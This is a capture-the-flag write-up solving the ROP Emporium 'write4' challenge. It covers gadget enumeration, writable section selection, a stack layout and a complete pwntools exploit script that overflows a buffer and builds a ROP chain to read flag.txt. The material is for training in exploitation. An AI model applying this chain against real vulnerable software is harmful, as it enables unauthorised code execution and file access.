write4
Our first foray into proper gadget use.
A useful function is still present, but we'll need to write a string into memory somehow.
Enumeration
checksec
:
| pwndbg> checksec
File: /home/admin/sboxshare/ropemporium/write4/write4
Arch: amd64
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'.'
Stripped: No
|
As before, there is nothing special about the program when executed normally:
| $ ./write4
write4 by ROP Emporium
x86_64
Go ahead and give me the input already!
>
Thank you!
|
This challenge works slightly different than the previous ones. Instead of a fully self-contained binary, write4
also comes with its own library, libwrite4.so
, which is responsible for some of the program logic. This changes how the write4
binary appears in the disassembly, as functions not present in the main binary are only represented as PLT stubs.
For instance, the pwnme()
function in the main binary appears like so in the PLT:
| 00400500 int64_t pwnme()
00400500 {
00400500 /* tailcall */
00400500 return pwnme();
00400500 }
|
The same function in libwrite4.so
:
| 000008aa int64_t pwnme()
000008aa {
000008aa setvbuf(*(uint64_t*)stdout, nullptr, 2, 0);
000008da puts("write4 by ROP Emporium");
000008e6 puts("x86_64\n");
000008fc void buf;
000008fc memset(&buf, 0, 0x20);
00000908 puts("Go ahead and give me the input a…");
00000919 printf("> ");
0000092f read(0, &buf, 0x200);
00000942 return puts("Thank you!");
000008aa }
|
From the disassembly above, the program allocates a 32 (0x20) byte buffer but reads up to 512 (0x200) bytes of input. As before, this is the target for the buffer overflow attack.
The description doesn't explain the steps to exploit the vulnerability. It does mention that there is no /bin/cat flag.txt
string in the binary, which means that the argument to print_file
(a function for reading a given file) has to come from somewhere else than the program itself. The solution is to leverage ROP to write an arbitrary string (in this case flag.txt
) to somewhere in memory and then point the first argument to print_file
to the address of the string.
Attack
As mentioned in the challenge description, gadets useful for this challenge are the type that write to memory, such as mov [reg], reg
. Since this gadget writes to memory, it needs to be paired with an equivalent gadget that pops the data back from the stack.
Among the gadgets present in the binary, the following stand out:
| $ ropper -f write4
...
0x0000000000400628: mov qword ptr [r14], r15; ret; # (1)
...
0x0000000000400690: pop r14; pop r15; ret; # (2)
...
0x0000000000400693: pop rdi; ret; # (3)
...
|
- Places the contents of
r15
into the address stored in r14
.
- Pops the top of the stack and places the contents into
r14
and r15
.
- Pops the top of the stack and places the contents into
rdi
. Since rdi
is used for storing the first argument to a function call (according to the calling convention), this gadget is useful for preparing a the argument for a single-argument function call.
The next part of the attack is determining where in memory the user-controlled flag.txt
string should be written to. This requires some planning as different segments of the binary's address space have different permissions and may not be writable.
Permissions settings for the various segments of an ELF executable can be found using readelf -S <file>
, though the output from radare is significantly easier to read:
| $ r2 write4
[0x00400520]> iS
[Sections]
nth paddr size vaddr vsize perm type name
―――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――
0 0x00000000 0x0 0x00000000 0x0 ---- NULL
1 0x00000238 0x1c 0x00400238 0x1c -r-- PROGBITS .interp
2 0x00000254 0x20 0x00400254 0x20 -r-- NOTE .note.ABI-tag
3 0x00000274 0x24 0x00400274 0x24 -r-- NOTE .note.gnu.build-id
4 0x00000298 0x38 0x00400298 0x38 -r-- GNU_HASH .gnu.hash
5 0x000002d0 0xf0 0x004002d0 0xf0 -r-- DYNSYM .dynsym
6 0x000003c0 0x7c 0x004003c0 0x7c -r-- STRTAB .dynstr
7 0x0000043c 0x14 0x0040043c 0x14 -r-- GNU_VERSYM .gnu.version
8 0x00000450 0x20 0x00400450 0x20 -r-- GNU_VERNEED .gnu.version_r
9 0x00000470 0x30 0x00400470 0x30 -r-- RELA .rela.dyn
10 0x000004a0 0x30 0x004004a0 0x30 -r-- RELA .rela.plt
11 0x000004d0 0x17 0x004004d0 0x17 -r-x PROGBITS .init
12 0x000004f0 0x30 0x004004f0 0x30 -r-x PROGBITS .plt
13 0x00000520 0x182 0x00400520 0x182 -r-x PROGBITS .text
14 0x000006a4 0x9 0x004006a4 0x9 -r-x PROGBITS .fini
15 0x000006b0 0x10 0x004006b0 0x10 -r-- PROGBITS .rodata
16 0x000006c0 0x44 0x004006c0 0x44 -r-- PROGBITS .eh_frame_hdr
17 0x00000708 0x120 0x00400708 0x120 -r-- PROGBITS .eh_frame
18 0x00000df0 0x8 0x00600df0 0x8 -rw- INIT_ARRAY .init_array
19 0x00000df8 0x8 0x00600df8 0x8 -rw- FINI_ARRAY .fini_array
20 0x00000e00 0x1f0 0x00600e00 0x1f0 -rw- DYNAMIC .dynamic
21 0x00000ff0 0x10 0x00600ff0 0x10 -rw- PROGBITS .got
22 0x00001000 0x28 0x00601000 0x28 -rw- PROGBITS .got.plt
23 0x00001028 0x10 0x00601028 0x10 -rw- PROGBITS .data
24 0x00001038 0x0 0x00601038 0x8 -rw- NOBITS .bss
25 0x00001038 0x29 0x00000000 0x29 ---- PROGBITS .comment
26 0x00001068 0x618 0x00000000 0x618 ---- SYMTAB .symtab
27 0x00001680 0x1f6 0x00000000 0x1f6 ---- STRTAB .strtab
28 0x00001876 0x103 0x00000000 0x103 ---- STRTAB .shstrtab
|
Excluding the special segments (lines 26-30 above) leaves .data
and .bss
as valid alternatives. Both are just large enough to fit the string flag.txt
(8 bytes).
All combined, the attack gives the following stack structure:
| Stack top
---
8. print_file
7. [address of .bss]
6. pop_rdi
5. mov_[r14]_r15
4. b'flag.txt'
3. [address of .bss]
2. pop_r14_pop_r15
1. 40 byte padding
---
Stack bottom
|
Attack Script
solve.py
| from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
exe = "./write4"
elf = context.binary = ELF(exe)
rop = ROP(elf)
gdbscript = '''
b *main
'''
if args.LOCAL:
p = process(elf.path)
if args.GDB:
gdb.attach(p, gdbscript=gdbscript)
print_file = p64(elf.symbols['print_file'])
bss_addr = p64(0x00601038)
pop_rdi = p64(0x400693)
movgadget = p64(0x400628) # 0x0000000000400628: mov qword ptr [r14], r15; ret;
arg = b'flag.txt'
pop_r14_pop_r15 = p64(0x400690)
p.sendlineafter(b'> ', b'A'*40 + pop_r14_pop_r15 + bss_addr + \
arg + movgadget + pop_rdi + bss_addr + print_file)
p.recv()
print(p.recvline().decode())
|